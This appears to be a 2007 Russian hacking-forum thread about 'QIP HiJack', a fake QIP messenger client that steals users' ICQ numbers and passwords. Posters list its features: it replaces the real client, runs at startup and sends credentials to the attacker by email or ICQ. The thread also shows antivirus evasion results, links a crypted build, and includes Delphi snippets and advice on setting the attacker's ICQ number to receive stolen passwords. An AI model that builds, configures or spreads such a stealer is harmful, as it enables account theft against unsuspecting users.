QIP HiJack

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Безопасность и Анонимность > Защита ОС: вирусы, антивирусы, файрволы.
QIP HiJack

Страница 2 из 4

Опции темы

Поиск в этой теме

Опции просмотра

#11

21.06.2007, 23:03

legend

Новичок

Регистрация: 21.11.2006

Сообщений: 10

С нами: 10246748

Репутация: 2

чё то не врубаюсь а как запустить то какой файл запускать и чё делать?

#12

22.06.2007, 02:03

LESHIY

Новичок

Регистрация: 15.03.2007

Сообщений: 23

С нами: 10083871

Репутация: 149

Функции:
1.Самоудаление
2.Автозагрузка
3.Закрытие оригинального QIP
4.Копирование ЛжеQIP в папку с настоящим=)
5.Отправка на мыло number;password!
6.Отправка на ICQ number;password! thnx coban2k!
7. Всплывающее окно даже со звуком!=)))
Всё это по желанию(см. сорцы)

Планируется:
Отправка номер;пасс на фтп-гейт=))

Данный софт и исходный код предоставленн только в качестве ознакомительных целей.
Автора данного по ответственности не несут=)

QIP HiJack!

Рузультат проверки на ВирусСкан:
A-Squared
Found nothing
AntiVir
Found nothing
ArcaVir
Found nothing
Avast
Found Win32:Small-DJC
AVG Antivirus
Found nothing
BitDefender
Found nothing
ClamAV
Found nothing
Dr.Web
Found nothing
F-Prot Antivirus
Found nothing
F-Secure Anti-Virus
Found nothing
Fortinet
Found nothing
Kaspersky Anti-Virus
Found nothing
NOD32
Found nothing
Norman Virus Control
Found nothing
Panda Antivirus
Found nothing
Rising Antivirus
Found nothing
VirusBuster
Found Packed/FSG
VBA32
Found nothing

Последний раз редактировалось LESHIY; 22.06.2007 в 02:13..

#13

22.06.2007, 04:13

Isis

Флудер

Регистрация: 20.11.2006

Сообщений: 3,315

С нами: 10248806

Репутация: 2371

Нашел мелкие баги....

Найти:

Код:

procedure TForm1.btn5Click(Sender: TObject);
var
m:Pchar;
begin
if edt2.Text=''
then
ShowMessage('Введите пароль для регистрации нового номера ICQ');
sleep(2000);
Image1.Visible:=true;
pnl2.Caption:='Картинка полученна...'
end;

Заменить на

Код:

procedure TForm1.btn5Click(Sender: TObject);
var
m:Pchar;
begin
if edt2.Text='' then
ShowMessage('Введите пароль для регистрации нового номера ICQ')
else begin
  Image1.Visible := true;
  pnl2.Caption := 'Картинка получена..'
end;
end;

Т.к. если поле нового пароля пусто и нажать на кнопку "Показать новую картинку" то выведется алерт о том что пароль не введен, но потом все равно картинка загрузится

#14

22.06.2007, 23:26

LESHIY

Новичок

Регистрация: 15.03.2007

Сообщений: 23

С нами: 10083871

Репутация: 149

Криптор для QIP у кого он спалится=)
http://www.airwaychat.info/QIP[CRYPT].rar

A-Squared Found nothing
AntiVir Found nothing
ArcaVir Found nothing
Avast Found nothing
AVG Antivirus Found nothing
BitDefender Found BehavesLike:Win32.ProcessHijack (probable variant)
ClamAV Found nothing
Dr.Web Found nothing
F-Prot Antivirus Found nothing
F-Secure Anti-Virus Found nothing
Fortinet Found nothing
Kaspersky Anti-Virus Found nothing
NOD32 Found nothing
Norman Virus Control Found nothing
Panda Antivirus Found nothing
Rising Antivirus Found nothing
VirusBuster Found nothing
VBA32 Found nothing

Последний раз редактировалось LESHIY; 22.06.2007 в 23:37..

#15

23.06.2007, 14:19

Jey

Познающий

Регистрация: 26.03.2007

Сообщений: 87

С нами: 10067457

Репутация: 30

Большое спасибо автору, отличная вещь.
Но у меня возникло несколько вопросов, так как туго у меня с делфи.
В делфи 7 при открытии исходника у меня выскакивает ошибка
http://slil.ru/24548559
Может подскажите как исправить.
И еще где в коде прописать на какую ась будут уплывать парли?

#16

23.06.2007, 16:03

TheSADIST

Новичок

Регистрация: 22.12.2006

Сообщений: 5

С нами: 10202503

Репутация: 1

В общем проблем нет никаких...
Установи асику компонент. Он лежит в папке с сорцами в ICQclient Components ну или что-то наподобии =) Просто у нас с лешим немного разные названия т.к. выкладывает он и последняя редакция его... =)
А аську и пароль надо вписывать в форме 1 в самом низу два текст эдита...

#17

23.06.2007, 16:31

raven lary

Новичок

Регистрация: 04.06.2007

Сообщений: 13

С нами: 9966197

Репутация: -5

а кампилятор када буит?)

#18

23.06.2007, 19:08

TheSADIST

Новичок

Регистрация: 22.12.2006

Сообщений: 5

С нами: 10202503

Репутация: 1

Будет билдер. если проект будет развиваться =)

#19

23.06.2007, 22:55

Jey

Познающий

Регистрация: 26.03.2007

Сообщений: 87

С нами: 10067457

Репутация: 30

Цитата:

Сообщение от TheSADIST

А аську и пароль надо вписывать в форме 1 в самом низу два текст эдита...

Так, компонеты я добавил.
Вот немного не втыкаю куда асю прописать куда пароли будут отплывать.

Вот отрывок из формы 1 (низ страници)

Код:

procedure TForm1.btn5Click(Sender: TObject);
var
m:Pchar;
begin
if edt2.Text=''
then
ShowMessage('Введите пароль для регистрации нового номера ICQ');
sleep(2000);
Image1.Visible:=true;
pnl2.Caption:='Картинка полученна..'
end;

procedure TForm1.edt3Change(Sender: TObject);
begin
if edt3.Text='35347' then
btn6.Enabled:=true
else
btn6.Enabled:=false;
end;

Правельно я выделил зеленым цветом куда надо вписать свою аську ?
Извените, но тока скачал учебник по делфи.
Спасибо заранее.

#20

23.06.2007, 23:40

LESHIY

Новичок

Регистрация: 15.03.2007

Сообщений: 23

С нами: 10083871

Репутация: 149

Писдец чел даёш..
То что ты выделил = процесс регистрации а аську вписывать в SendMessage

Страница 2 из 4

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Qip Infium	rijy	Мировые новости. Обсуждения.	24	16.05.2007 11:07
QIP Speller	»Atom1c«	Skype, IRC, ICQ, Jabber и другие IM	3	24.02.2007 09:33
QIP 2005 Build 7970.	†Romi4†	Skype, IRC, ICQ, Jabber и другие IM	0	05.09.2006 22:43

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход